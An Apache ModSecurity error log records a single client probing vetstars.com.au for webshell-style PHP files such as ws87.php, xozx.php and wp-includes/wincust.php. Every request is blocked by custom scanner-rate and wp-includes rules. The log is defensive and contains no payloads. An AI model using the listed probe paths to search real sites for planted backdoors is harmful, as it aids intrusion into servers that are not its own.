[Fri Apr 17 23:55:57.162501 2026] [:error] [pid 9153:tid 9220] [client 20.203.143.130:57998] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws87.php"] [unique_id "aeJYDeMHGxkTZX3c45cs2AAAAII"]
[Fri Apr 17 23:55:58.575647 2026] [:error] [pid 61523:tid 61555] [client 20.203.143.130:54632] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws87.php"] [unique_id "aeJYDsOaH-Pgc7WEf4MNugAAAc0"]
[Fri Apr 17 23:56:00.006775 2026] [:error] [pid 25010:tid 25036] [client 20.203.143.130:57380] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws87.php"] [unique_id "aeJYEI-7kkf42RarqQ2W0wAAAVc"]
[Fri Apr 17 23:56:04.489976 2026] [:error] [pid 25010:tid 25020] [client 20.203.143.130:58335] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/layout.php"] [unique_id "aeJYFI-7kkf42RarqQ2W2gAAAUc"]
[Fri Apr 17 23:56:06.566255 2026] [:error] [pid 51878:tid 51897] [client 20.203.143.130:58357] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/layout.php"] [unique_id "aeJYFknQhUtMbw9EsgbqOgAAARE"]
[Fri Apr 17 23:56:10.767996 2026] [:error] [pid 61523:tid 61565] [client 20.203.143.130:12702] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/layout.php"] [unique_id "aeJYGsOaH-Pgc7WEf4MNwQAAAdc"]
[Fri Apr 17 23:56:14.171770 2026] [:error] [pid 9153:tid 9240] [client 20.203.143.130:21876] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/layout.php"] [unique_id "aeJYHuMHGxkTZX3c45cs_wAAAJY"]
[Fri Apr 17 23:56:23.973644 2026] [:error] [pid 9153:tid 9238] [client 20.203.143.130:12480] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/r2.php"] [unique_id "aeJYJ-MHGxkTZX3c45ctCQAAAJQ"]
[Fri Apr 17 23:57:20.085713 2026] [:error] [pid 9153:tid 9227] [client 20.203.143.130:58636] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ga.php"] [unique_id "aeJYYOMHGxkTZX3c45ctbQAAAIk"]
[Fri Apr 17 23:57:21.258987 2026] [:error] [pid 25010:tid 25019] [client 20.203.143.130:56315] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ga.php"] [unique_id "aeJYYY-7kkf42RarqQ2XDwAAAUY"]
[Fri Apr 17 23:57:22.325949 2026] [:error] [pid 61523:tid 61546] [client 20.203.143.130:54875] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ga.php"] [unique_id "aeJYYsOaH-Pgc7WEf4MOVgAAAcQ"]
[Fri Apr 17 23:57:25.589703 2026] [:error] [pid 61523:tid 61562] [client 20.203.143.130:56271] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ga.php"] [unique_id "aeJYZcOaH-Pgc7WEf4MOYAAAAdQ"]
[Fri Apr 17 23:57:26.893095 2026] [:error] [pid 9152:tid 9193] [client 20.203.143.130:54898] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xozx.php"] [unique_id "aeJYZpJYca8I3TNCwIeQ2gAAAEM"]
[Fri Apr 17 23:57:29.942711 2026] [:error] [pid 9153:tid 9218] [client 20.203.143.130:63851] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xozx.php"] [unique_id "aeJYaeMHGxkTZX3c45ctcwAAAIA"]
[Fri Apr 17 23:57:32.051815 2026] [:error] [pid 9151:tid 9181] [client 20.203.143.130:54220] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xozx.php"] [unique_id "aeJYbMhTVuRPkua22vRbiwAAABQ"]
[Fri Apr 17 23:57:33.467534 2026] [:error] [pid 61523:tid 61566] [client 20.203.143.130:53857] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xozx.php"] [unique_id "aeJYbcOaH-Pgc7WEf4MOawAAAdg"]
[Fri Apr 17 23:57:36.632959 2026] [:error] [pid 51878:tid 51894] [client 20.203.143.130:56924] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1100.php"] [unique_id "aeJYcEnQhUtMbw9EsgbrOAAAAQ4"]
[Fri Apr 17 23:57:38.995803 2026] [:error] [pid 9153:tid 9218] [client 20.203.143.130:56256] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1100.php"] [unique_id "aeJYcuMHGxkTZX3c45ctgAAAAIA"]
[Fri Apr 17 23:57:42.899941 2026] [:error] [pid 61523:tid 61544] [client 20.203.143.130:61168] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1100.php"] [unique_id "aeJYdsOaH-Pgc7WEf4MOeAAAAcI"]
[Fri Apr 17 23:57:45.405270 2026] [:error] [pid 25010:tid 25029] [client 20.203.143.130:53869] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1100.php"] [unique_id "aeJYeY-7kkf42RarqQ2XKgAAAVA"]
[Fri Apr 17 23:57:46.562699 2026] [:error] [pid 51878:tid 51898] [client 20.203.143.130:60543] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/press.php"] [unique_id "aeJYeknQhUtMbw9EsgbrcwAAARI"]
[Fri Apr 17 23:57:48.442570 2026] [:error] [pid 51878:tid 51892] [client 20.203.143.130:53843] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/press.php"] [unique_id "aeJYfEnQhUtMbw9EsgbreQAAAQw"]
[Fri Apr 17 23:57:51.637317 2026] [:error] [pid 9263:tid 9289] [client 20.203.143.130:56902] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/press.php"] [unique_id "aeJYfxP68VyHNvj1e56migAAANg"]
[Fri Apr 17 23:57:54.084504 2026] [:error] [pid 61523:tid 61543] [client 20.203.143.130:56296] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/press.php"] [unique_id "aeJYgsOaH-Pgc7WEf4MOmQAAAcE"]
[Fri Apr 17 23:57:58.926109 2026] [:error] [pid 9263:tid 9271] [client 20.203.143.130:54218] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aeJYhhP68VyHNvj1e56m6wAAAMY"]
[Fri Apr 17 23:58:01.281153 2026] [:error] [pid 51878:tid 51903] [client 20.203.143.130:56952] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aeJYiUnQhUtMbw9EsgbrpAAAARc"]
[Fri Apr 17 23:58:04.785349 2026] [:error] [pid 9263:tid 9277] [client 20.203.143.130:56913] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aeJYjBP68VyHNvj1e56nJwAAAMw"]
[Fri Apr 17 23:58:12.534743 2026] [:error] [pid 9151:tid 9181] [client 20.203.143.130:63867] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-kz.php"] [unique_id "aeJYlMhTVuRPkua22vRbmwAAABQ"]
[Fri Apr 17 23:58:15.531375 2026] [:error] [pid 51878:tid 51884] [client 20.203.143.130:63808] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-kz.php"] [unique_id "aeJYl0nQhUtMbw9EsgbrywAAAQQ"]
[Fri Apr 17 23:58:16.488890 2026] [:error] [pid 61523:tid 61562] [client 20.203.143.130:53829] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-kz.php"] [unique_id "aeJYmMOaH-Pgc7WEf4MO3QAAAdQ"]
[Fri Apr 17 23:59:05.719103 2026] [:error] [pid 9153:tid 9233] [client 20.203.143.130:56278] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/000.php"] [unique_id "aeJYyeMHGxkTZX3c45ct1QAAAI8"]
[Fri Apr 17 23:59:15.548125 2026] [:error] [pid 51878:tid 51892] [client 20.203.143.130:63848] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/000.php"] [unique_id "aeJY00nQhUtMbw9EsgbsegAAAQw"]
[Fri Apr 17 23:59:18.956517 2026] [:error] [pid 51878:tid 51889] [client 20.203.143.130:53873] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/000.php"] [unique_id "aeJY1knQhUtMbw9EsgbsiAAAAQk"]
[Fri Apr 17 23:59:23.490564 2026] [:error] [pid 51878:tid 51890] [client 20.203.143.130:12671] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config.php"] [unique_id "aeJY20nQhUtMbw9EsgbslgAAAQo"]
[Fri Apr 17 23:59:29.613476 2026] [:error] [pid 51878:tid 51899] [client 20.203.143.130:63859] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config.php"] [unique_id "aeJY4UnQhUtMbw9EsgbsnwAAARM"]
[Fri Apr 17 23:59:35.189016 2026] [:error] [pid 9263:tid 9278] [client 20.203.143.130:61534] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config.php"] [unique_id "aeJY5xP68VyHNvj1e56oBgAAAM0"]
[Fri Apr 17 23:59:35.948564 2026] [:error] [pid 9153:tid 9218] [client 20.203.143.130:12619] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config.php"] [unique_id "aeJY5-MHGxkTZX3c45ct7QAAAIA"]
[Fri Apr 17 23:59:36.933987 2026] [:error] [pid 9151:tid 9184] [client 20.203.143.130:60871] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x3x.php"] [unique_id "aeJY6MhTVuRPkua22vRb0QAAABc"]
[Fri Apr 17 23:59:37.727453 2026] [:error] [pid 9151:tid 9176] [client 20.203.143.130:64936] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x3x.php"] [unique_id "aeJY6chTVuRPkua22vRb1AAAAA8"]
[Fri Apr 17 23:59:39.023693 2026] [:error] [pid 9152:tid 9201] [client 20.203.143.130:12757] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x3x.php"] [unique_id "aeJY65JYca8I3TNCwIeRfAAAAEs"]
[Fri Apr 17 23:59:40.345058 2026] [:error] [pid 9152:tid 9204] [client 20.203.143.130:64951] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x3x.php"] [unique_id "aeJY7JJYca8I3TNCwIeRggAAAE4"]
[Fri Apr 17 23:59:43.155601 2026] [:error] [pid 9263:tid 9282] [client 20.203.143.130:12753] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xy.php"] [unique_id "aeJY7xP68VyHNvj1e56oDQAAANE"]
[Fri Apr 17 23:59:44.981261 2026] [:error] [pid 25010:tid 25015] [client 20.203.143.130:54814] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xy.php"] [unique_id "aeJY8I-7kkf42RarqQ2XTwAAAUI"]
[Fri Apr 17 23:59:46.020485 2026] [:error] [pid 61523:tid 61551] [client 20.203.143.130:54846] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xy.php"] [unique_id "aeJY8sOaH-Pgc7WEf4MQNAAAAck"]
[Fri Apr 17 23:59:47.819871 2026] [:error] [pid 9153:tid 9234] [client 20.203.143.130:56207] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xy.php"] [unique_id "aeJY8-MHGxkTZX3c45ct8AAAAJA"]
[Fri Apr 17 23:59:49.542683 2026] [:error] [pid 34273:tid 34278] [client 20.203.143.130:21498] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/global.php"] [unique_id "aeJY9WuQDW686mK3dgEzjAAAAYM"]
[Fri Apr 17 23:59:52.501001 2026] [:error] [pid 9263:tid 9285] [client 20.203.143.130:64450] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/global.php"] [unique_id "aeJY-BP68VyHNvj1e56oFAAAANQ"]
[Fri Apr 17 23:59:56.605305 2026] [:error] [pid 9153:tid 9232] [client 20.203.143.130:21961] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/global.php"] [unique_id "aeJY_OMHGxkTZX3c45cuBAAAAI4"]
[Sat Apr 18 00:00:24.882559 2026] [:error] [pid 34273:tid 34289] [client 20.203.143.130:21906] [client 20.203.143.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wincust.php"] [unique_id "aeJZGGuQDW686mK3dgEzuAAAAY4"]
[Sat Apr 18 00:01:03.368532 2026] [:error] [pid 61523:tid 61549] [client 20.203.143.130:21411] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xynz.php"] [unique_id "aeJZP8OaH-Pgc7WEf4MRHgAAAcc"]
[Sat Apr 18 00:01:04.721085 2026] [:error] [pid 9263:tid 9265] [client 20.203.143.130:56894] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xynz.php"] [unique_id "aeJZQBP68VyHNvj1e56o-AAAAMA"]
[Sat Apr 18 00:01:06.989579 2026] [:error] [pid 9263:tid 9277] [client 20.203.143.130:57151] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xynz.php"] [unique_id "aeJZQhP68VyHNvj1e56pBAAAAMw"]
[Sat Apr 18 00:01:08.324549 2026] [:error] [pid 9263:tid 9276] [client 20.203.143.130:57118] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xynz.php"] [unique_id "aeJZRBP68VyHNvj1e56pCQAAAMs"]
[Sat Apr 18 00:01:09.585368 2026] [:error] [pid 51878:tid 51882] [client 20.203.143.130:56881] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-01ul.php"] [unique_id "aeJZRUnQhUtMbw9EsgbtZgAAAQI"]
[Sat Apr 18 00:01:10.469656 2026] [:error] [pid 9152:tid 9194] [client 20.203.143.130:52296] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-01ul.php"] [unique_id "aeJZRpJYca8I3TNCwIeR-AAAAEQ"]
[Sat Apr 18 00:01:11.366335 2026] [:error] [pid 9263:tid 9267] [client 20.203.143.130:57149] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-01ul.php"] [unique_id "aeJZRxP68VyHNvj1e56pEgAAAMI"]
